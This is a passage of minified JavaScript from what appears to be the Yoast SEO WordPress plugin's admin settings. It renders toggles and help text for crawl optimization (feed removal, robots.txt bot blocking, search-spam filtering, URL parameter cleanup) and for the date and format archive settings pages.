/>')}),removeFeedPostComments:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Example post Comments Feed" href="https://www.example.com/example-post/feed/" />')}),removeFeedAuthors:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Posts by Example Author Feed" href="https://www.example.com/author/example-author/feed/" />')}),removeFeedPostTypes:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Movies Feed" href="https://www.example.com/movies/feed/" />')}),removeFeedCategories:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - News Category Feed" href="https://www.example.com/category/news/feed/" />')}),removeFeedTags:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Blue Tag Feed" href="https://www.example.com/tag/blue/feed/" />')}),removeFeedCustomTaxonomies:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Large size Feed" href="https://www.example.com/size/large/feed/" />')}),removeFeedSearch:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Search Results for \'example\' Feed" href="https://www.example.com/search/example/feed/rss2/" />')}),removeAtomRdfFeeds:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Feed" href="https://www.example.com/feed/atom/" />')}),denyWpJsonCrawling:(0,i.createInterpolateElement)(u,{code1:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/wp-json/"),code2:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/?rest_route=/")}),blockUnwantedBots:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("Lots of web traffic comes from bots crawling the web. Some can benefit your site or business, while other bots don’t. Blocking unwanted bots can save energy, help with site performance, and protect copyrighted content. Learn more about %1$swhen to block unwanted bots%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)(Er,{id:"link-block-unwanted-bots-info",href:n})}),redirectSearchPrettyUrls:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s, %2$s and %3$s expand to example parts of a URL, surrounded by <code> tags. */
(0,Lt.__)("Consolidates WordPress' multiple site search URL formats into the %1$s syntax. E.g., %2$s will redirect to %3$s","wordpress-seo"),"<code1/>","<code2/>","<code3/>"),{code1:(0,e.createElement)(l.Code,null,"?s="),code2:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/search/cats"),code3:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/?s=cats")}),denySearchCrawling:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s, %2$s and %3$s expand to example parts of a URL, surrounded by <code> tags. */
(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling of URLs like %1$s, %2$s and %3$s.","wordpress-seo"),"<code1/>","<code2/>","<code3/>"),{code1:(0,e.createElement)(l.Code,null,"?s="),code2:(0,e.createElement)(l.Code,null,"/search/"),code3:(0,e.createElement)(l.Code,null,"/page/*/?s=")}),advancedUrlCleanup:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an example part of a URL, surrounded by a <code> tag. */
(0,Lt.__)("Users and search engines may often request your URLs whilst using query parameters, like %1$s. These can be helpful for tracking, filtering, and powering advanced functionality - but they come with a performance and SEO ‘cost’. Sites which don’t rely on URL parameters might benefit from using these options.","wordpress-seo"),"<code/>"),{code:(0,e.createElement)(l.Code,null,"?color=red")}),cleanCampaignTrackingUrls:(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
     * translators:
     * %1$s expands to `<code>utm</code>`.
     * %2$s expands to `<code>#</code>`.
     * %3$s expands to `<code>301</code>`.
     * %4$s and %5$s both expand to an example within a <code> tag.
     */
(0,Lt.__)("Replaces %1$s tracking parameters with the (more performant) %2$s equivalent, via a %3$s redirect. E.g., %4$s will be redirected to %5$s","wordpress-seo"),"<code1/>","<code2/>","<code3/>","<code4/>","<code5/>"),{code1:(0,e.createElement)(l.Code,null,"utm"),code2:(0,e.createElement)(l.Code,null,"#"),code3:(0,e.createElement)(l.Code,null,"301"),code4:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/?utm_medium=organic"),code5:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/#utm_medium=organic")}),cleanPermalinks:(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
     * translators:
     * %1$s expands to `<code>301</code>`.
     * %2$s and %3$s both expand to an example within a <code> tag.
     */
(0,Lt.__)("Removes unknown URL parameters via a %1$s redirect. E.g., %2$s will be redirected to %3$s","wordpress-seo"),"<code1/>","<code2/>","<code3/>")+(0,Lt.sprintf)(
/**
     * translators:
     * %1$s through %7$s each expand to a parameter name within a <code> tag. For example, <code>gclid</code>.
     */
(0,Lt.__)("Note that the following commonly-used parameters will not be removed: %1$s, %2$s, %3$s, %4$s, %5$s, %6$s, and %7$s.","wordpress-seo"),"<code4/>","<code5/>","<code6/>","<code7/>","<code8/>","<code9/>","<code10/>"),{code1:(0,e.createElement)(l.Code,null,"301"),code2:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com/?unknown_parameter=yes"),code3:(0,e.createElement)(l.Code,{variant:"block"},"https://www.example.com"),code4:(0,e.createElement)(l.Code,null,"gclid"),code5:(0,e.createElement)(l.Code,null,"gtm_debug"),code6:(0,e.createElement)(l.Code,null,"utm_campaign"),code7:(0,e.createElement)(l.Code,null,"utm_content"),code8:(0,e.createElement)(l.Code,null,"utm_medium"),code9:(0,e.createElement)(l.Code,null,"utm_source"),code10:(0,e.createElement)(l.Code,null,"utm_term")}),cleanPermalinksExtraVariables:(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
     * translators:
     * %1$s expands to `<code>unknown_parameter</code>`.
     * %2$s and %3$s both expand to an example within a <code> tag.
     */
(0,Lt.__)("Prevents specific URL parameters from being removed by the above feature. E.g., adding %1$s will prevent %2$s from being redirected to %3$s. You can add multiple parameters and separate them by using enter or a comma.","wordpress-seo"),"<code1/>","<code2/>","<code3/>"),{code1:(0,e.createElement)(l.Code,null,"unknown_parameter"),code2:(0,e.createElement)(l.Code,null,"https://www.example.com/?unknown_parameter=yes"),code3:(0,e.createElement)(l.Code,null,"https://www.example.com")})})),[]),{values:m}=q(),{remove_feed_global_comments:f,remove_feed_post_comments:h,search_cleanup:y,search_cleanup_emoji:_,search_cleanup_patterns:w,clean_permalinks:g}=m.wpseo;return(0,e.createElement)(uo,{title:(0,Lt.__)("Crawl optimization","wordpress-seo"),description:p.page},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Remove unwanted metadata","wordpress-seo"),description:p.removeUnwantedMetadata},(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_shortlinks",id:"input-wpseo-remove_shortlinks",label:(0,Lt.__)("Remove shortlinks","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove links to WordPress' internal 'shortlink' URLs for your posts.","wordpress-seo")," ",p.removeShortlinks),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_rest_api_links",id:"input-wpseo-remove_rest_api_links",label:(0,Lt.__)("Remove REST API links","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove links to the location of your site’s REST API endpoints.","wordpress-seo")," ",p.removeRestApiLinks),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_rsd_wlw_links",id:"input-wpseo-remove_rsd_wlw_links",label:(0,Lt.__)("Remove RSD / WLW links","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove links used by external systems for publishing content to your blog.","wordpress-seo")," ",p.removeRsdWlwLinks),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_oembed_links",id:"input-wpseo-remove_oembed_links",label:(0,Lt.__)("Remove oEmbed links","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove links used for embedding your content on other sites.","wordpress-seo")," ",p.removeOembedLinks),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_generator",id:"input-wpseo-remove_generator",label:(0,Lt.__)("Remove generator tag","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove information about the plugins and software used by your site.","wordpress-seo")," ",p.removeGenerator),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_pingback_header",id:"input-wpseo-remove_pingback_header",label:(0,Lt.__)("Pingback HTTP header","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove links which allow others sites to ‘ping’ yours when they link to you.","wordpress-seo")," ",p.removePingbackHeader),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_powered_by_header",id:"input-wpseo-remove_powered_by_header",label:(0,Lt.__)("Remove powered by HTTP header","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove information about the plugins and software used by your site.","wordpress-seo")," ",p.removePoweredByHeader)),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Disable unwanted content formats","wordpress-seo"),description:(0,Lt.__)("WordPress outputs your content in many different formats, across many different URLs (like RSS feeds of your posts and categories). It’s generally good practice to disable the formats you’re not actively using.","wordpress-seo")},(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_global",id:"input-wpseo-remove_feed_global",label:(0,Lt.__)("Remove global feed","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide an overview of your recent posts.","wordpress-seo")," ",p.removeFeedGlobal),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_global_comments",id:"input-wpseo-remove_feed_global_comments",label:(0,Lt.__)("Remove global comment feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide an overview of recent comments on your site.","wordpress-seo")," ",p.removeFeedGlobalComments,(0,Lt.__)("Also disables post comment feeds.","wordpress-seo")),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_post_comments",id:"input-wpseo-remove_feed_post_comments",label:(0,Lt.__)("Remove post comments feeds","wordpress-seo"),disabled:f,checked:f||h,className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about recent comments on each post.","wordpress-seo")," ",p.removeFeedPostComments),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_authors",id:"input-wpseo-remove_feed_authors",label:(0,Lt.__)("Remove post authors feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about recent posts by specific authors.","wordpress-seo")," ",p.removeFeedAuthors),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_post_types",id:"input-wpseo-remove_feed_post_types",label:(0,Lt.__)("Remove post type feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about your recent posts, for each post type.","wordpress-seo")," ",p.removeFeedPostTypes),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_categories",id:"input-wpseo-remove_feed_categories",label:(0,Lt.__)("Remove category feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about your recent posts, for each category.","wordpress-seo")," ",p.removeFeedCategories),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_tags",id:"input-wpseo-remove_feed_tags",label:(0,Lt.__)("Remove tag feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about your recent posts, for each tag.","wordpress-seo")," ",p.removeFeedTags),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_custom_taxonomies",id:"input-wpseo-remove_feed_custom_taxonomies",label:(0,Lt.__)("Remove custom taxonomy feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about your recent posts, for each custom taxonomy.","wordpress-seo")," ",p.removeFeedCustomTaxonomies),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_feed_search",id:"input-wpseo-remove_feed_search",label:(0,Lt.__)("Remove search results feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide information about your search results.","wordpress-seo")," ",p.removeFeedSearch),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_atom_rdf_feeds",id:"input-wpseo-remove_atom_rdf_feeds",label:(0,Lt.__)("Remove Atom / RDF feeds","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Remove URLs which provide alternative (legacy) formats of all of the above.","wordpress-seo")," ",p.removeAtomRdfFeeds)),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Remove unused resources","wordpress-seo"),description:(0,Lt.__)("WordPress loads lots of resources, some of which your site might not need. If you’re not using these, removing them can speed up your pages and save resources.","wordpress-seo")},(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.remove_emoji_scripts",id:"input-wpseo-remove_emoji_scripts",label:(0,Lt.__)("Remove emoji scripts","wordpress-seo"),description:(0,Lt.__)("Remove JavaScript used for converting emoji characters in older browsers.","wordpress-seo"),className:"yst-max-w-2xl"}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_wp_json_crawling",id:"input-wpseo-deny_wp_json_crawling",label:(0,Lt.__)("Remove WP-JSON API","wordpress-seo"),className:"yst-max-w-2xl"},(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling of WordPress' JSON API endpoints.","wordpress-seo")," ",p.denyWpJsonCrawling)),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Block unwanted bots","wordpress-seo"),description:p.blockUnwantedBots},(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_adsbot_crawling",id:"input-wpseo-deny_adsbot_crawling",label:(0,Lt.__)("Prevent Google AdsBot from crawling","wordpress-seo"),description:(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling by Google AdsBot. You should only enable this setting if you're not using Google Ads on your site.","wordpress-seo"),className:"yst-max-w-2xl"}),(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!s&&!t,variant:"card",cardLink:c,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...r},(0,e.createElement)(pl,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_google_extended_crawling",id:"input-wpseo-deny_google_extended_crawling",label:(0,Lt.__)("Prevent Google Bard and Vertex AI bots from crawling","wordpress-seo"),description:(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling by the Google-Extended bot. Enabling this setting won’t prevent Google from indexing your website.","wordpress-seo"),labelSuffix:t&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium"),className:"yst-max-w-2xl",isDummy:!t}),(0,e.createElement)(pl,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_gptbot_crawling",id:"input-wpseo-deny_gptbot_crawling",label:(0,Lt.__)("Prevent OpenAI GPTBot from crawling","wordpress-seo"),description:(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling by OpenAI GPTBot.","wordpress-seo"),labelSuffix:t&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium"),className:"yst-max-w-2xl",isDummy:!t}),(0,e.createElement)(pl,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_ccbot_crawling",id:"input-wpseo-deny_ccbot_crawling",label:(0,Lt.__)("Prevent Common Crawl CCBot from crawling","wordpress-seo"),description:(0,Lt.__)("Add a ‘disallow’ rule to your robots.txt file to prevent crawling by Common Crawl CCBot.","wordpress-seo"),labelSuffix:t&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium"),className:"yst-max-w-2xl",isDummy:!t}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Internal site search cleanup","wordpress-seo"),description:(0,Lt.__)("Your internal site search can create lots of confusing URLs for search engines, and can even be used as a way for SEO spammers to attack your site. Most sites will benefit from experimenting with these protections and optimizations, even if you don’t have a search feature in your theme.","wordpress-seo")},(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.search_cleanup",id:"input-wpseo-search_cleanup",label:(0,Lt.__)("Filter search terms","wordpress-seo"),description:(0,Lt.__)("Enables advanced settings for protecting your internal site search URLs.","wordpress-seo"),className:"yst-max-w-2xl"}),(0,e.createElement)(dl,{as:l.TextField,type:"number",name:"wpseo.search_character_limit",id:"input-wpseo-search_character_limit",label:(0,Lt.__)("Max number of characters to allow in searches","wordpress-seo"),description:(0,Lt.__)("Limit the length of internal site search queries to reduce the impact of spam attacks and confusing URLs. Please enter a number between 1 and 50.","wordpress-seo"),disabled:!y}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.search_cleanup_emoji",id:"input-wpseo-search_cleanup_emoji",label:(0,Lt.__)("Filter searches with emojis and other special characters","wordpress-seo"),description:(0,Lt.__)("Block internal site searches which contain complex and non-alphanumeric characters, as they may be part of a spam attack.","wordpress-seo"),disabled:!y,checked:y&&_,className:"yst-max-w-2xl"}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.search_cleanup_patterns",id:"input-wpseo-search_cleanup_patterns",label:(0,Lt.__)("Filter searches with common spam patterns","wordpress-seo"),description:(0,Lt.__)("Block internal site searches which match the patterns of known spam attacks.","wordpress-seo"),disabled:!y,checked:y&&w,className:"yst-max-w-2xl"}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.redirect_search_pretty_urls",id:"input-wpseo-redirect_search_pretty_urls",label:(0,Lt.__)("Redirect pretty URLs to ‘raw’ formats","wordpress-seo"),description:p.redirectSearchPrettyUrls,className:"yst-max-w-2xl"}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.deny_search_crawling",id:"input-wpseo-deny_search_crawling",label:(0,Lt.__)("Prevent crawling of internal site search URLs","wordpress-seo"),description:p.denySearchCrawling,className:"yst-max-w-2xl"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Advanced: URL cleanup","wordpress-seo"),description:p.advancedUrlCleanup},(0,e.createElement)(l.Alert,{id:"alert-permalink-cleanup-settings",variant:"error"},(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,Lt.__)("Warning! These are expert features, so make sure you know what you're doing before using this setting. You might break your site. %1$sRead more about how your site can be affected%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)("a",{id:"link-permalink-cleanup-info",href:o,target:"_blank",rel:"noopener noreferrer"})})),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.clean_campaign_tracking_urls",id:"input-wpseo-clean_campaign_tracking_urls",label:(0,Lt.__)("Optimize Google Analytics utm tracking parameters","wordpress-seo"),description:p.cleanCampaignTrackingUrls,className:"yst-max-w-2xl"}),(0,e.createElement)(ul,{as:l.ToggleField,type:"checkbox",name:"wpseo.clean_permalinks",id:"input-wpseo-clean_permalinks",label:(0,Lt.__)("Remove unregistered URL parameters","wordpress-seo"),description:p.cleanPermalinks,className:"yst-max-w-2xl"}),(0,e.createElement)(ba,{name:"wpseo.clean_permalinks_extra_variables",id:"input-wpseo-clean_permalinks_extra_variables",label:(0,Lt.__)("Additional URL parameters to allow","wordpress-seo"),description:p.cleanPermalinksExtraVariables,disabled:!g})))))},fl=Ca(wa),hl=()=>{const t=(0,Lt.__)("Date archives","wordpress-seo"),s=aa("selectPreference",[],"userLocale"),r=(0,i.useMemo)((()=>gn(t,s)),[t,s]),a=aa("selectUpsellSettingsAsProps"),o=aa("selectReplacementVariablesFor",[],"date_archive","custom-post-type_archive"),n=aa("selectRecommendedReplacementVariablesFor",[],"date_archive","custom-post-type_archive"),c=aa("selectLink",[],"https://yoa.st/show-x"),d=aa("selectPreference",[],"isPremium"),u=aa("selectLink",[],"https://yoa.st/4e0"),p=aa("selectExampleUrl",[],"/2020/"),m=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),f=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to "Date archives".
   * %2$s expands to an example URL, e.g. https://example.com/author/example/.
   * %3$s expands to "date archives".
   */
(0,Lt.__)("%1$s (e.g. %2$s) are based on publication dates. From an SEO perspective, the posts in these archives have no real relation to the other posts except for their publication dates, which doesn’t say much about the content. They could also lead to duplicate content issues. This is why we recommend you to disable %3$s.","wordpress-seo"),t,"<exampleUrl />",r),{exampleUrl:(0,e.createElement)(l.Code,null,p)}))),{values:h}=q(),{opengraph:y}=h.wpseo_social,{"disable-date":_,"noindex-archive-wpseo":w}=h.wpseo_titles;return(0,e.createElement)(uo,{title:t,description:f},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)("fieldset",{className:"yst-min-width-0 yst-space-y-8"},(0,e.createElement)(ua,{name:"wpseo_titles.disable-date",id:"input-wpseo_titles-disable-date",label:(0,Lt.sprintf)(
// translators: %1$s expands to "date archives".
(0,Lt.__)("Enable %1$s","wordpress-seo"),r),description:(0,Lt.sprintf)(
// translators: %1$s expands to "Date archives".
(0,Lt.__)("%1$s can cause duplicate content issues. For most sites, we recommend that you disable this setting.","wordpress-seo"),t),className:"yst-max-w-sm"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to "date archives".
(0,Lt.__)("Determine how your %1$s should look in search engines.","wordpress-seo"),r)},(0,e.createElement)(ua,{name:"wpseo_titles.noindex-archive-wpseo",id:"input-wpseo_titles-noindex-archive-wpseo",label:(0,Lt.sprintf)(
// translators: %1$s expands to "date archives".
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),r),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to "date archives".
(0,Lt.__)("Disabling this means that %1$s will not be indexed by search engines and will be excluded from XML sitemaps. We recommend that you disable this setting.","wordpress-seo"),r)," ",(0,e.createElement)(l.Link,{href:c,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),disabled:_,checked:!_&&!w,className:"yst-max-w-sm"}),(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.title-archive-wpseo",fieldId:"input-wpseo_titles-title-archive-wpseo",label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:o,recommendedReplacementVariables:n,disabled:_}),(0,e.createElement)(wa,{type:"description",name:"wpseo_titles.metadesc-archive-wpseo",fieldId:"input-wpseo_titles-metadesc-archive-wpseo",label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:o,recommendedReplacementVariables:n,disabled:_,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media appearance","wordpress-seo")),d&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to "date archives".
(0,Lt.__)("Determine how your %1$s should look on social media by default.","wordpress-seo"),r)},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!d,variant:"card",cardLink:u,cardText:(0,Lt.sprintf)(
// translators: %1$s expands to Premium.
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...a},(0,e.createElement)(Wa,{isEnabled:!d||y}),(0,e.createElement)(ha,{id:"wpseo_titles-social-image-archive-wpseo",label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:m,mediaUrlName:"wpseo_titles.social-image-url-archive-wpseo",mediaIdName:"wpseo_titles.social-image-id-archive-wpseo",disabled:_||!y,isDummy:!d}),(0,e.createElement)(fl,{type:"title",name:"wpseo_titles.social-title-archive-wpseo",fieldId:"input-wpseo_titles-social-title-archive-wpseo",label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:o,recommendedReplacementVariables:n,disabled:_||!y,isDummy:!d}),(0,e.createElement)(fl,{type:"description",name:"wpseo_titles.social-description-archive-wpseo",fieldId:"input-wpseo_titles-social-description-archive-wpseo",label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:o,recommendedReplacementVariables:n,className:"yst-replacevar--description",disabled:_||!y,isDummy:!d}))))))},yl=Ca(wa),_l=()=>{const{name:t,label:s,singularLabel:r}=aa("selectTaxonomy",[],"post_format"),a=aa("selectPreference",[],"userLocale"),o=(0,i.useMemo)((()=>gn(s,a)),[s,a]),n=(0,i.useMemo)((()=>gn(r,a)),[r,a]),c=aa("selectUpsellSettingsAsProps"),d=aa("selectReplacementVariablesFor",[t],t,"term-in-custom-taxonomy"),u=aa("selectRecommendedReplacementVariablesFor",[t],t,"term-in-custom-taxonomy"),p=aa("selectLink",[],"https://yoa.st/show-x"),m=aa("selectPreference",[],"isPremium"),f=aa("selectLink",[],"https://yoa.st/4e0"),h=aa("selectExampleUrl",[],"/format/example/"),y=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),_=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("(e.g., %1$s)","wordpress-seo"),"<exampleUrl />"),{exampleUrl:(0,e.createElement)(l.Code,null,h)}))),{values:w}=q(),{opengraph:g}=w.wpseo_social,{"disable-post_format":b,"noindex-tax-post_format":v}=w.wpseo_titles;return(0,e.createElement)(uo,{title:(0,Lt.__)("Format archives","wordpress-seo"),description:_},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(ua,{name:"wpseo_titles.disable-post_format",id:"input-wpseo_titles-disable-post_format",label:(0,Lt.__)("Enable format-based archives","wordpress-seo"),description:(0,Lt.__)("Format-based archives can cause duplicate content issues. For most sites, we recommend that you disable this setting.","wordpress-seo"),className:"yst-max-w-sm"}),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to "formats". %2$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s should look in search engines. You can always customize the settings for individual %1$s in the %2$s metabox.","wordpress-seo"),o,"Yoast SEO")},(0,e.createElement)(ua,{name:`wpseo_titles.noindex-tax-${t}`,id:`input-wpseo_titles-noindex-tax-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to "format".
(0,Lt.__)("Show %1$s archives in search results","wordpress-seo"),n),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to "formats".
(0,Lt.__)("Disabling this means that %1$s will not be indexed by search engines and will be excluded from XML sitemaps. We recommend that you disable this setting.","wordpress-seo"),o)," ",(0,e.createElement)(l.Link,{href:p,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),disabled:b,checked:!b&&!v,className:"yst-max-w-sm"}),(0,e.createElement)(wa,{type:"title",name:`wpseo_titles.title-tax-${t}`,fieldId:`input-wpseo_titles-title-tax-${t}`,label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,disabled:b}),(0,e.createElement)(wa,{type:"description",name:`wpseo_titles.metadesc-tax-${t}`,fieldId:`input-wpseo_titles-metadesc-tax-${t}`,label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,disabled:b,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media 